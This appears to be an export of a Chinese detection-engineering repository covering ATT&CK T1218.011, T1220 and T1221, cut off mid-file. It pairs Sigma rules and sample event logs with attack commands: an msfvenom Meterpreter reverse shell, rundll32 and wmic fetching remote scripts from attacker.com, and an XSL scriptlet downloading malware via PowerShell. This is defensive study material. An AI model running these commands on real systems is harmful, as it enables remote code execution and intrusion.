生成Payload（攻击机）\n\n**命令**：\n```bash\nmsfvenom -p windows/meterpreter/reverse_tcp -b '\\x00\\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe\n```\n\n**说明**：\n- 生成Meterpreter反向TCP Payload，排除坏字符`\\x00\\x0b`。\n- 输出文件`shell.exe`，需传输至靶机。\n\n#### 2. 配置监听（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST 192.168.126.146\nset LPORT 4444\nset AutoRunScript post/windows/manage/migrate\nexploit\n```\n\n**说明**：\n- 配置反向Shell监听，自动迁移进程以提升持久性。\n- `post/windows/manage/migrate`替换已弃用的`migrate f`。\n\n#### 3. 靶机执行Payload\n\n**命令**：\n```cmd\nrundll32.exe zipfldr.dll,RouteTheCall C:\\Path\\To\\shell.exe\n```\n\n**结果**：\n- `shell.exe`执行，触发反向Shell连接至攻击机。\n- 攻击机Metasploit接收会话：\n  ```\n  [*] Started reverse TCP handler on 192.168.126.146:4444\n  [*] Sending stage (180291 bytes) to 192.168.126.156\n  [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.156:49176) at 2023-10-01 10:00:00 +0800\n  meterpreter > getuid\n  Server username: WIN-IFPMACUK8BT\\Administrator\n  ```\n\n#### 4. 清理\n\n**靶机**：\n```cmd\ndel C:\\Path\\To\\shell.exe\ntaskkill /IM shell.exe /F\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n**日志1：rundll32.exe**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN-IFPMACUK8BT\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: S-1-5-21-1234567890-123456789-123456789-500\n  帐户名: Administrator\n  帐户域: WIN-IFPMACUK8BT\n  登录 ID: 0x3E7\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x918\n  新进程名称: C:\\Windows\\System32\\rundll32.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x948\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: rundll32.exe zipfldr.dll,RouteTheCall .\\shell.exe\n```\n\n**日志2：shell.exe**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN-IFPMACUK8BT\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: S-1-5-21-1234567890-123456789-123456789-500\n  帐户名: Administrator\n  帐户域: WIN-IFPMACUK8BT\n  登录 ID: 0x3E7\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x94c\n  新进程名称: C:\\Users\\Administrator\\Desktop\\a\\shell.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x918\n  创建者进程名称: C:\\Windows\\System32\\rundll32.exe\n  进程命令行: \"C:\\Users\\Administrator\\Desktop\\a\\shell.exe\"\n```\n\n**分析**：\n- 日志记录`rundll32.exe`调用`zipfldr.dll,RouteTheCall`执行`shell.exe`。\n- `shell.exe`由`rundll32.exe`启动，表明代理执行。\n- 命令行明确包含`zipfldr.dll`，便于检测。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测rundll32.exe使用zipfldr.dll执行可疑Payload\ndescription: Detects suspicious execution of rundll32.exe with zipfldr.dll to proxy execute payloads.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/011/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\rundll32.exe'\n    CommandLine|contains:\n      - 'zipfldr.dll,RouteTheCall'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of zipfldr.dll for ZIP file operations\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.011\n```\n\n**规则说明**：\n- 检测`rundll32.exe`执行，命令行包含`zipfldr.dll,RouteTheCall`。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法ZIP操作的误报。\n\n### 建议\n\n1. **监控rundll32.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`rundll32.exe`的进程创建，检查命令行是否包含`zipfldr.dll,RouteTheCall`。\n   - 监控Event ID 3（网络连接），检测Payload的网络活动（如反向Shell）。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 部署Sysmon，配置捕获进程命令行和网络事件。\n\n3. **基线化行为**：\n   - 建立`rundll32.exe`和`zipfldr.dll`的正常使用基线，`RouteTheCall`调用可执行文件应极为罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如`.exe`路径）。\n\n4. **限制rundll32.exe使用**：\n   - 使用AppLocker或组策略限制`rundll32.exe`的执行，仅允许特定场景。\n   - 监控未经授权的`zipfldr.dll`调用。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`rundll32.exe`代理执行。\n   - 设置高优先级告警，针对`zipfldr.dll,RouteTheCall`的使用。\n\n6. **行为链关联**：\n   - 将`rundll32.exe`执行与其他可疑行为（如网络连接、进程注入）关联，识别攻击链。\n   - 例如，检测`shell.exe`执行后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止非必要出站连接（如`shell.exe`的TCP 4444）。\n   - 监控异常IP或域名的网络流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`zipfldr.dll`代理执行（如使用Meterpreter Payload），验证检测规则有效性。\n   - 调整规则阈值，排除合法ZIP操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.011  \n  <https://attack.mitre.org/techniques/T1218/011/>\n- 基于白名单的Payload执行  \n  <https://blog.csdn.net/weixin_30790841/article/details/101848854>\n- Microsoft文档：rundll32.exe  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32>\n- Atomic Red Team T1218.011  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.011/T1218.011.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.011-Win-通过Rundll32的异常网络链接.md",
    "content": "# T1218.011-Win-通过Rundll32的异常网络链接\n\n## 描述\n\n攻击者可能利用**rundll32.exe**调用受信任的动态链接库（DLL）或脚本，代理执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.011）。`rundll32.exe`是Windows内置工具，用于加载DLL并调用指定函数，常用于合法操作，因此常被白名单或误报。攻击者可通过`rundll32.exe`执行恶意DLL或JavaScript，触发异常网络连接（如C2通信、恶意载荷下载），实现防御规避、初始访问或持久化。\n\n异常网络连接是`rundll32.exe`执行恶意代码的常见指标。例如，攻击者可能使用以下命令加载远程脚本：\n```cmd\nrundll32.exe javascript:\"..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://malicious.com/malicious.sct\")\n```\n此技术已被恶意软件（如Poweliks）使用，触发非预期的出站连接，暴露攻击行为。\n\n## 测试案例\n\n### 测试1：Rundll32.exe触发异常网络连接\n\n攻击者通过`rundll32.exe`执行JavaScript，加载远程恶意脚本，触发外部网络连接。\n\n**环境要求**：\n- 系统：Windows（支持Windows 2003及以上）\n- 工具：`rundll32.exe`（系统自带）\n- 权限：普通用户\n- 路径：\n  - `C:\\Windows\\System32\\rundll32.exe`\n  - `C:\\Windows\\SysWOW64\\rundll32.exe`\n\n**攻击命令**：\n```cmd\nrundll32.exe javascript:\"..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://attacker.com/malicious.sct\")\n```\n\n**说明**：\n- `javascript:`：调用`mshtml.dll`的`RunHTMLApplication`函数执行JavaScript。\n- `GetObject(\"script:\")`：从远程URL加载恶意脚本（如SCT文件）。\n- 触发对`https://attacker.com`的网络连接。\n\n**清理命令**：\n```cmd\ntaskkill /IM rundll32.exe /F\n```\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建和网络连接事件。\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`rundll32.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录出站网络连接。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`rundll32.exe`的命令行和父进程信息。\n  - Event ID 3：网络连接，记录`rundll32.exe`的出站连接。\n  - Event ID 7：镜像加载，记录加载的DLL（如`mshtml.dll`）。\n\n## 测试复现\n\n### 测试环境\n\n- 系统：Windows 10\n- 工具：`rundll32.exe`（系统自带）\n\n### 测试过程\n\n#### 1. 准备恶意脚本\n\n- 在攻击者控制的服务器（如`https://attacker.com`）托管`malicious.sct`：\n  ```xml\n  <?XML version=\"1.0\"?>\n  <scriptlet>\n    <registration progid=\"Test\">\n    </registration>\n    <script language=\"JScript\">\n      <![CDATA[\n        var shell = new ActiveXObject(\"WScript.Shell\");\n        shell.Run(\"calc.exe\");\n      ]]>\n    </script>\n  </scriptlet>\n  ```\n\n#### 2. 执行攻击\n\n**命令**：\n```cmd\nrundll32.exe javascript:\"..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://attacker.com/malicious.sct\")\n```\n\n**结果**（假设）：\n- `rundll32.exe`发起HTTPS请求至`attacker.com`，下载`malicious.sct`。\n- 脚本执行，启动`calc.exe`。\n- 日志记录`rundll32.exe`的进程创建和网络连接。\n\n#### 3. 清理\n\n**命令**：\n```cmd\ntaskkill /IM rundll32.exe /F\ntaskkill /IM calc.exe /F\n```\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN10-TEST\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: WIN10-TEST\\user\n  帐户名: user\n  帐户域: WIN10-TEST\n  登录 ID: 0x12345\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x1a2b\n  新进程名称: C:\\Windows\\System32\\rundll32.exe\n  令牌提升类型: %%1938\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x3c4d\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: rundll32.exe javascript:\"..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://attacker.com/malicious.sct\")\n```\n\n**分析**：\n- 日志记录`rundll32.exe`执行，命令行包含`javascript:`和远程URL。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n\n### Windows安全日志（Event ID 5156：WFP连接）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 5156\n任务类别: Filtering Platform Connection\n级别: 信息\n用户: N/A\n计算机: WIN10-TEST\n描述:\nWindows过滤平台已允许连接。\n\n应用程序信息:\n  进程 ID: 6824\n  应用程序名称: \\device\\harddiskvolume1\\windows\\system32\\rundll32.exe\n\n网络信息:\n  方向: 出站\n  源地址: 192.168.1.100\n  源端口: 49152\n  目标地址: 93.184.216.34\n  目标端口: 443\n  协议: 6\n\n过滤器信息:\n  过滤器运行时 ID: 12345\n  层名称: Connect\n  层运行时 ID: 48\n```\n\n**分析**：\n- 日志记录`rundll32.exe`发起出站HTTPS连接（端口443）。\n- 目标地址为外部IP（非私有网络），提示异常行为。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Rundll32.exe的异常网络连接\ndescription: Detects unusual network connections initiated by rundll32.exe, indicating potential malicious activity.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/011/\n  - https://www.elastic.co/guide/en/siem/guide/current/unusual-network-connection-via-rundll32.html\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.011\nlogsource:\n  product: windows\n  category: network_connection\ndetection:\n  selection:\n    EventID: 5156\n    Application|endswith: '\\rundll32.exe'\n    Direction: Outbound\n  filter:\n    DestinationIp:\n      - 10.0.0.0/8\n      - 172.16.0.0/12\n      - 192.168.0.0/16\n      - 127.0.0.0/8\n  condition: selection and not filter\nfields:\n  - Application\n  - SourceIp\n  - SourcePort\n  - DestinationIp\n  - DestinationPort\nfalsepositives:\n  - Legitimate rundll32.exe network activity (e.g., Windows Update)\nlevel: medium\n```\n\n**规则说明**：\n- 检测`rundll32.exe`的出站网络连接（Event ID 5156），排除私有IP范围（10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8）。\n- 规则为实验性，需测试以减少合法网络活动的误报。\n\n### Elastic规则查询\n\n```elastic\nprocess.name:rundll32.exe and event.action:\"Network connection detected (rule: NetworkConnect)\" and not destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or 127.0.0.0/8)\n```\n\n**说明**：\n- 检测`rundll32.exe`的网络连接，排除私有IP。\n- 适用于Elastic SIEM环境，需调整为其他SIEM系统。\n\n### 建议\n\n1. **监控Rundll32.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`rundll32.exe`的进程创建，检查命令行是否包含`javascript:`或可疑DLL。\n   - 监控Event ID 3（网络连接），检测`rundll32.exe`的出站连接，尤其是非预期目标。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行和网络事件。\n\n3. **基线化行为**：\n   - 建立`rundll32.exe`的正常网络行为基线，生产环境中不应发起外部连接（如C2服务器）。\n   - 监控非预期父进程（如`powershell.exe`）或异常命令行（如`javascript:`）。\n\n4. **限制Rundll32.exe使用**：\n   - 使用AppLocker或组策略限制`rundll32.exe`的执行，仅允许特定场景。\n   - 监控未经授权的DLL或脚本调用。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`rundll32.exe`的异常网络活动。\n   - 设置高优先级告警，针对外部IP的连接。\n\n6. **行为链关联**：\n   - 将`rundll32.exe`网络连接与其他可疑行为（如子进程创建、注册表修改）关联，识别攻击链。\n   - 例如，检测`rundll32.exe`下载脚本后是否执行`calc.exe`或PowerShell。\n\n7. **网络防御**：\n   - 配置防火墙阻止`rundll32.exe`的非必要出站连接。\n   - 监控异常域名或IP的HTTPS流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`rundll32.exe`加载远程脚本（如SCT文件），验证检测规则有效性。\n   - 调整规则阈值，排除合法网络活动（如Windows Update）的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.011  \n  <https://attack.mitre.org/techniques/T1218/011/>\n- Elastic：Rundll32异常网络连接  \n  <https://www.elastic.co/guide/en/siem/guide/current/unusual-network-connection-via-rundll32.html>\n- Atomic Red Team T1218.011  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.011/T1218.011.md>\n- T1218.011：基于白名单Rundll32.exe执行Payload  \n  <https://github.com/12306Bro/Threathunting-book/blob/master/执行/T1218-011-win-基于白名单Rundll32.exe执行payload.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1220-win-XSL Script Processing.md",
    "content": "# T1220-Win-XSL脚本处理\n\n## 描述\n\n攻击者可能利用**可扩展样式表语言（XSL）**处理功能执行恶意代码，绕过应用程序白名单或安全控制（MITRE ATT&CK T1220）。XSL用于描述和渲染XML文件，支持嵌入脚本语言（如JavaScript、VBScript）以执行复杂操作。攻击者可通过微软的`msxsl.exe`工具或Windows管理工具（WMIC）调用XSL文件中的脚本，实现代码执行。\n\n**msxsl.exe**是微软提供的命令行工具，用于处理XSL转换，接受XML源文件和XSL样式表作为参数。攻击者可利用其执行本地或远程的JavaScript/VBScript代码，绕过白名单限制，因为`msxsl.exe`是受信任的微软二进制文件。XSL文件本身是XML格式，允许攻击者使用相同文件作为XML和XSL参数，且文件扩展名可任意伪装（如`.jpeg`）。\n\n另一种技术是**Squiblytwo**，利用`wmic.exe`通过XSL文件调用JScript/VBScript，支持本地或远程脚本执行，类似`regsvr32.exe`的代理执行行为。`wmic.exe`是Windows内置工具，增加攻击的隐蔽性。\n\n此技术常用于规避防御机制，执行恶意载荷，如下载器、后门或凭据窃取脚本。\n\n## 测试案例\n\n### 测试1：使用msxsl.exe加载本地XSL脚本\n\n攻击者使用`msxsl.exe`执行本地XML和XSL文件中的JavaScript代码，模拟恶意行为（如启动计算器）。\n\n**环境要求**：\n- 系统：Windows（测试环境未找到`msxsl.exe`下载地址，需手动获取）\n- 工具：`msxsl.exe`（非Windows默认安装，可从微软或其他可信来源下载）\n- 文件：`malicious.xml`和`malicious.xsl`（包含恶意JavaScript）\n\n**攻击命令**：\n```cmd\nC:\\Windows\\Temp\\msxsl.exe malicious.xml malicious.xsl\n```\n\n**示例XSL文件（malicious.xsl）**：\n```xml\n<?xml version=\"1.0\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\" xmlns:user=\"http://mycompany.com/mynamespace\">\n  <msxsl:script language=\"JScript\" implements-prefix=\"user\">\n    <![CDATA[\n      var r = new ActiveXObject(\"WScript.Shell\");\n      r.Run(\"calc.exe\");\n    ]]>\n  </msxsl:script>\n  <xsl:template match=\"/\">\n    <html><body><h1>Test</h1></body></html>\n  </xsl:template>\n</xsl:stylesheet>\n```\n\n**示例XML文件（malicious.xml）**：\n```xml\n<?xml version=\"1.0\"?>\n<root>Test</root>\n```\n\n**清理命令**：\n```cmd\ndel malicious.xml malicious.xsl\ntaskkill /IM calc.exe /F\n```\n\n**说明**：\n- `msxsl.exe`加载`malicious.xsl`中的JavaScript，执行`calc.exe`。\n- 文件扩展名可伪装（如`.jpeg`），增加隐蔽性。\n\n### 测试2：使用msxsl.exe加载远程XSL脚本\n\n攻击者通过`msxsl.exe`从远程服务器加载XSL脚本执行恶意代码。\n\n**攻击命令**：\n```cmd\nmsxsl.exe http://attacker.com/malicious.xml http://attacker.com/malicious.xsl\n```\n\n**说明**：\n- 需在攻击者控制的服务器上托管`malicious.xml`和`malicious.xsl`。\n- 远程加载增加规避静态检测的可能性。\n\n### 测试3：Squiblytwo使用wmic.exe加载XSL脚本\n\n攻击者利用`wmic.exe`通过XSL文件执行远程或本地JScript/VBScript。\n\n**本地攻击命令**：\n```cmd\nwmic process list /FORMAT:evil.xsl\n```\n\n**远程攻击命令**：\n```cmd\nwmic os get /FORMAT:\"https://attacker.com/evil.xsl\"\n```\n\n**示例XSL文件（evil.xsl）**：\n```xml\n<?xml version=\"1.0\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\">\n  <msxsl:script language=\"JScript\">\n    <![CDATA[\n      var shell = new ActiveXObject(\"WScript.Shell\");\n      shell.Run(\"powershell.exe -c Invoke-WebRequest -Uri http://attacker.com/malware -OutFile C:\\\\Temp\\\\malware.exe\");\n    ]]>\n  </msxsl:script>\n  <xsl:template match=\"/\">\n    <output>OK</output>\n  </xsl:template>\n</xsl:stylesheet>\n```\n\n**说明**：\n- `wmic.exe`加载`evil.xsl`中的脚本，执行PowerShell下载恶意文件。\n- 远程XSL加载可通过HTTPS隐藏流量。\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`msxsl.exe`或`wmic.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`msxsl.exe`或`wmic.exe`的命令行和父进程信息。\n  - Event ID 3：网络连接，记录远程XSL文件加载（如HTTP/HTTPS请求）。\n  - Event ID 7：镜像加载，检测脚本相关DLL（如`jscript.dll`）。\n- **Windows系统日志**：可能记录异常服务或进程行为（如防病毒服务停止）。\n\n## 测试复现\n\n### 测试1：msxsl.exe本地文件加载\n\n**测试环境**：Windows 10（未找到`msxsl.exe`下载地址，假设已获取）\n\n**准备步骤**：\n1. 准备`malicious.xml`和`malicious.xsl`（如上示例）。\n2. 将`msxsl.exe`放置于`C:\\Windows\\Temp`。\n\n**攻击命令**：\n```cmd\nC:\\Windows\\Temp\\msxsl.exe malicious.xml malicious.xsl\n```\n\n**结果**（假设）：\n- `calc.exe`启动，表明XSL中的JavaScript成功执行。\n- 日志记录`msxsl.exe`进程创建。\n\n**清理**：\n```cmd\ndel C:\\Windows\\Temp\\msxsl.exe malicious.xml malicious.xsl\ntaskkill /IM calc.exe /F\n```\n\n**说明**：测试未成功，因未获取`msxsl.exe`。\n\n### 测试2：msxsl.exe远程文件加载\n\n**攻击命令**：\n```cmd\nmsxsl.exe http://snappyzz.com/malicious.xml http://snappyzz.com/malicious.xsl\n```\n\n**结果**（假设）：\n- Word未安装，无法测试。\n- 预期：`msxsl.exe`发起HTTP请求，下载并执行远程XSL脚本。\n\n### 测试3：wmic.exe Squiblytwo\n\n**攻击命令**：\n```cmd\nwmic process list /FORMAT:\"C:\\Temp\\evil.xsl\"\n```\n\n**结果**（假设）：\n- `evil.xsl`中的PowerShell脚本执行，下载恶意文件。\n- 日志记录`wmic.exe`进程和网络连接。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN10-TEST\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: WIN10-TEST\\user\n  帐户名: user\n  帐户域: WIN10-TEST\n  登录 ID: 0x12345\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x1a2b\n  新进程名称: C:\\Windows\\Temp\\msxsl.exe\n  令牌提升类型: %%1938\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x3c4d\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: msxsl.exe malicious.xml malicious.xsl\n```\n\n**分析**：\n- 日志记录`msxsl.exe`执行，命令行包含`.xml`和`.xsl`文件。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected\n级别: 信息\n用户: WIN10-TEST\\user\n计算机: WIN10-TEST\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1220,technique_name=XSL Script Processing\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Windows\\System32\\wmic.exe\nProtocol: tcp\nDestinationIp: 192.168.1.100\nDestinationPort: 443\nDestinationHostname: attacker.com\n```\n\n**分析**：\n- `wmic.exe`发起HTTPS连接，加载远程XSL文件。\n- 网络活动与Squiblytwo技术相关。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测msxsl.exe或wmic.exe执行XSL脚本\ndescription: Detects execution of msxsl.exe or wmic.exe loading XSL scripts, potentially executing malicious JavaScript or VBScript.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1220/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_msxsl:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\msxsl.exe'\n    CommandLine|contains:\n      - '.xsl'\n      - '.xml'\n      - 'http://'\n      - 'https://'\n  selection_wmic:\n    EventID:\n      - 4688\n      - 1\n    Image|endswith: '\\wmic.exe'\n    CommandLine|contains:\n      - '/FORMAT:'\n      - '.xsl'\n      - 'http://'\n      - 'https://'\n  condition: selection_msxsl or selection_wmic\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of msxsl.exe or wmic.exe for XSL processing\nlevel: high\ntags:\n  - attack.execution\n  - attack.t1220\n```\n\n**规则说明**：\n- 检测`msxsl.exe`执行，命令行包含`.xsl`、`.xml`或URL。\n- 检测`wmic.exe`执行，命令行包含`/FORMAT:`和`.xsl`或URL。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法XSL处理的误报。\n\n### 建议\n\n1. **监控代理执行工具**：\n   - 使用Sysmon（Event ID 1）捕获`msxsl.exe`和`wmic.exe`的进程创建，检查命令行是否包含`.xsl`、`.xml`或URL。\n   - 监控Event ID 3（网络连接），检测远程XSL文件加载。\n   - 监控Event ID 7（镜像加载），检测脚本相关DLL（如`jscript.dll`、`vbscript.dll`）。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 确保Sysmon配置捕获命令行和网络事件。\n\n3. **基线化行为**：\n   - 建立`msxsl.exe`和`wmic.exe`的正常使用基线，生产环境中`msxsl.exe`应罕见，`wmic.exe`加载XSL更不常见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如URL）。\n\n4. **限制工具使用**：\n   - 使用AppLocker或组策略限制`msxsl.exe`和`wmic.exe`的执行，仅允许特定管理账户使用。\n   - 禁用或移除非必要的`msxsl.exe`（若未默认安装）。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测XSL脚本执行。\n   - 设置高优先级告警，针对`msxsl.exe`或`wmic.exe`的异常行为。\n\n6. **行为链关联**：\n   - 将XSL脚本执行与其他可疑行为（如下载恶意文件、子进程创建）关联，识别攻击链。\n   - 例如，检测`wmic.exe`加载XSL后是否执行PowerShell或下载器。\n\n7. **网络防御**：\n   - 配置防火墙阻止非必要出站连接（如`wmic.exe`的HTTPS请求）。\n   - 监控异常域名或IP的HTTP/HTTPS流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟XSL脚本执行（如使用示例XSL文件），验证检测规则有效性。\n   - 调整规则阈值，排除合法XSL处理的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1220  \n  <https://attack.mitre.org/techniques/T1220/>\n- 跟着ATT&CK学安全之Defense Evasion  \n  <https://snappyjack.github.io/articles/2020-01/跟着ATT&CK学安全之defense-evasion>\n- Atomic Red Team T1220  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1220/T1220.md>\n- Microsoft文档：msxsl.exe  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms759854(v=vs.85)>\n"
  },
  {
    "path": "Windows/07逃避防御/T1221-win-模板注入.md",
    "content": "# T1221-Win-模板注入\n\n## 描述\n\n攻击者可能通过创建或修改Microsoft Office文档中的模板引用来隐藏恶意代码或触发强制身份验证尝试，从而规避检测（MITRE ATT&CK T1221）。Office Open XML（OOXML）格式（用于`.docx`、`.xlsx`、`.pptx`等文件）基于XML，文件以ZIP存档形式打包，包含多个XML部件，共同定义文档的属性和呈现方式。其中，模板属性可引用远程资源（如`.dotm`文件），在文档加载时自动获取并执行。\n\n攻击者可滥用此功能，通过注入恶意模板URL实现以下目标：\n- **隐藏恶意代码**：远程模板（如包含VBA宏的`.dotm`）在文档打开时被下载并执行，而本地文档无明显恶意痕迹（如VBA宏），规避静态检测。\n- **强制身份验证**：注入SMB/HTTP URL，诱导用户提供凭据，捕获NTLM哈希或触发认证尝试。\n\n模板注入常与其他技术结合（如钓鱼T1566或污点共享内容），用于初始访问或权限提升。野外案例中，攻击者利用模板注入加载漏洞利用代码或恶意宏，执行恶意行为。\n\n## 测试案例\n\n### 测试1：Word远程模板注入\n\n攻击者通过`.docx`文件注入远程`.dotm`模板，触发恶意宏代码执行，模拟打开计算器（`Calculator.exe`）并尝试禁用防病毒软件。\n\n**环境要求**：\n- 系统：Windows\n- 软件：Microsoft Word（需安装Office套件，推荐从<https://www.microsoft.com/en-us/download/office.aspx>下载）\n- 模板文件：`opencalc.dotm`（来自<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1221/src/opencalc.dotm>）\n- 权限：普通用户权限（宏执行需启用或绕过安全设置）\n\n**攻击命令**：\n```cmd\nstart malicious.docx\n```\n\n**准备步骤**：\n1. 下载`opencalc.dotm`并托管于可访问的Web服务器（如`http://attacker.com/opencalc.dotm`）。\n2. 创建或修改`.docx`文件，注入远程模板引用：\n   - 解压`.docx`（ZIP格式），编辑`word/_rels/settings.xml.rels`。\n   - 添加或修改`Relationship`元素，指向远程`.dotm`：\n     ```xml\n     <Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate\" 